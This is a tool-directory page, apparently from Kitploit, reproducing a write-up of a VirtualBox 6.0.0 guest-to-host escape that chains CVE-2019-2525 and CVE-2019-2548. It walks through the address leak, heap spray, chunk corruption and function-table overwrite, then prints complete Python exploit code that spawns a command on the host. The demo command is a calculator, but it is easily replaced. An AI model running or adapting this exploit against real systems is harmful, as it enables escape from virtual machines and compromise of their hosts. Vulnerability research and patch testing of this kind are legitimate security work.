Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
VirtualBox-6.0.0-Exploit-1-day — CVE-2019-2525 / CVE-2019-2548 | Kitploit
Tools/GitHubGitHub/wotmd/virtualbox-6.0.0-exploit-1-day
Memory ForensicsVulnerability AnalysisExploitationInformation GatheringPenetration TestingBinary Exploitation
GitHubwotmd/virtualbox-6.0.0-exploit-1-day

VirtualBox-6.0.0-Exploit-1-day

CVE-2019-2525 / CVE-2019-2548

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
12126 years agoNot yet reviewed

VirtualBox 6.0.0 Exploit 1-day

VBox bugs to be used

  • CVE-2019-2525 : crUnpackExtendGetAttribLocation Information Disclosure
  • CVE-2019-2548 : crServerDispatchReadPixels Integer overflow, leading to Heap overflow
  • these bugs can be triggered when 3D Acceleration is enabled.

First, before the explanation, I recorded and attached a video of the exploit execution below.

https://youtu.be/IQRLtqMgVCY?t=46

1. Memory Leak (CVE-2019-2525)

  1. By executing hgcm_connect and hgcm_disconnect multiple times, we can place values related to cr_server on the memory, and by using a negative offset in crUnpackExtendGetAttribLocation, we can leak memory and obtain the addresses of cr_server+19056 and crVBoxHGCMDoDisconnect.
  2. Using the leaked memory values, we obtain the addresses of cr_server and crSpawn.

2. Heap Spray

  1. Heap spray CRVBOXSVBUFFER_t objects in memory. Here we use alloc_buf, and because memory is allocated contiguously, the pData of the buffer structure is also allocated right next to the buffer structure.
  2. Therefore, we create a pData of the same size as CRVBOXSVBUFFER_t using alloc_buf(client, 0x20).

  1. Free even-numbered Buffer IDs.

  1. Alternate allocating alloc_buf(client, 0x50, msg) and alloc_buf(client, 0x20, msg) to fill the free chunks. The 0x50-sized allocations are not placed into the freed chunks but are allocated in a different memory region.

  1. Free even-numbered Buffer IDs with length 0x50.

3. Corrupt Chunk (CVE-2019-2548)

  1. Using the integer overflow in crServerDispatchReadPixels, we allocate a structure of size 0x20.
    • bytes_per_row = 0x1FFFFFFD / height = 8 ⇒ 0x100000020
  2. The above structure is inserted into a freed area in the middle of the sprayed heap region, and because its size is 0x38, a heap overflow of 0x18 bytes occurs, allowing us to modify the uiID and uiSize of the next structure.
    • uiID = 0xdeadbeef / uiSize = 0xffffffff

  1. Using the structure with the modified uiID, we can modify the next chunk. Since uiSize is 0xffffffff, we can change the next chunk up to pData to any desired value.
    • uiID = 0xcafebabe / uiSize = 0xffffffff / pData = desired value

  1. Now we can set pData using the structure with uiID 0xdeadbeef and perform an OOB Write using the structure with uiID 0xcafebabe.

4. Exploit

  1. Using OOB Write, we write "xcalc" at cr_server + 0xc410.
  2. Using OOB Write, we overwrite the function table entry crServerDispatchBoundsInfoCR (at cr_server+0x0xae98) with the crSpawn function.
  3. We execute crServerDispatchBoundsInfoCR to call the crSpawn function. At this time, by providing the arguments command="xcalc", argv=[address of "xcalc", NULL], we can escape VirtualBox and execute the calculator.

Result screen

Demo video

https://youtu.be/IQRLtqMgVCY?t=46

Exploit code

root@kitploit:~
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *

def nop_msg():
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + "\x00\x00\x00" +chr(CR_NOP_OPCODE)
        + pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
        )
    return msg

def make_leak_msg(offset):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
        + pack("<I", offset) #packet_length
        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
        + pack("<I", 0x41424344)
        )
    return msg

def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
        + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
        + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
        )
    return msg

def make_crSpawn_msg(cmd, argv):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
        + pack("<I", 1)
        + cmd.ljust(16, "\x00")
        + pack("<I", 0)
        + pack("<QQ", argv, 0) # argv : execute string, null
        )
    return msg

def leak_address(client):
    leak_success = False;
    while not leak_success:
    	for i in range(0, 10):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x170):
                leak_success = True
                break
    cr_server = leak - 0x4a70
    
    leak_success = False;
    while not leak_success:
        for i in range(0, 100):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x230):
                leak_success = True
                break
    crSpawn = leak - 0xbd20
    return (cr_server, crSpawn)
    
def heapSpray(client):
    buf_ids = []
    spray_ids = []
    msg = nop_msg()
    # make CRVBOXSVCBUFFER_t & pData heapSpray area
    for i in range(120):
		buf_ids.append(alloc_buf(client, 0x20, msg))
    buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
    
    # even buf_ids free
    for idx in buf_ids[::2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
    
    # fill CRVBOXSVCBUFFER_t free areas
    for i in range(40):
        spray_ids.append(alloc_buf(client, 0x50, msg))
        alloc_buf(client, 0x20, msg)
    
    # make a hole between spray area
    for idx in spray_ids[::-2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])

def make_corrupt_obj(pData):
    obj = (
        "A"*0x28
        + pack("<Q", 0x35)
        + pack("<I", 0xcafebabe) #uiId
        + pack("<I", 0xffffffff) #uiSize
        + pack("<Q", pData) # table_addr
        )
    return obj

def write_anywhere(addr, data):
    #make corrupt obj
    fake_buffer = make_corrupt_obj(addr)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])

if __name__=='__main__':
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    
    # Trigger to CVE-2019-2525
    cr_server, crSpawn = leak_address(client)
    crServerDispatchBoundsInfoCR = cr_server+0xae98
    
    print("[*] crServer : " + hex(cr_server))
    print("[*] crSpawn  : " + hex(crSpawn))
    #print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
    
    # heapSpray
    heapSpray(client)
    
    # Trigger to CVE-2019-2548
    msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
    crmsg(client, msg)
    #a = input("test1 : ")
   
    # setting "xcalc"
    xcalc_string = cr_server + 0xc410 
    write_anywhere(xcalc_string, "xcalc")
    print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))

    # overwrite talbe func crSpawn
    print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
    write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))

    # escape!! execute xcalc
    msg = make_crSpawn_msg("xcalc", xcalc_string)
    crmsg(client, msg)

    hgcm_disconnect(client) 

Download Tool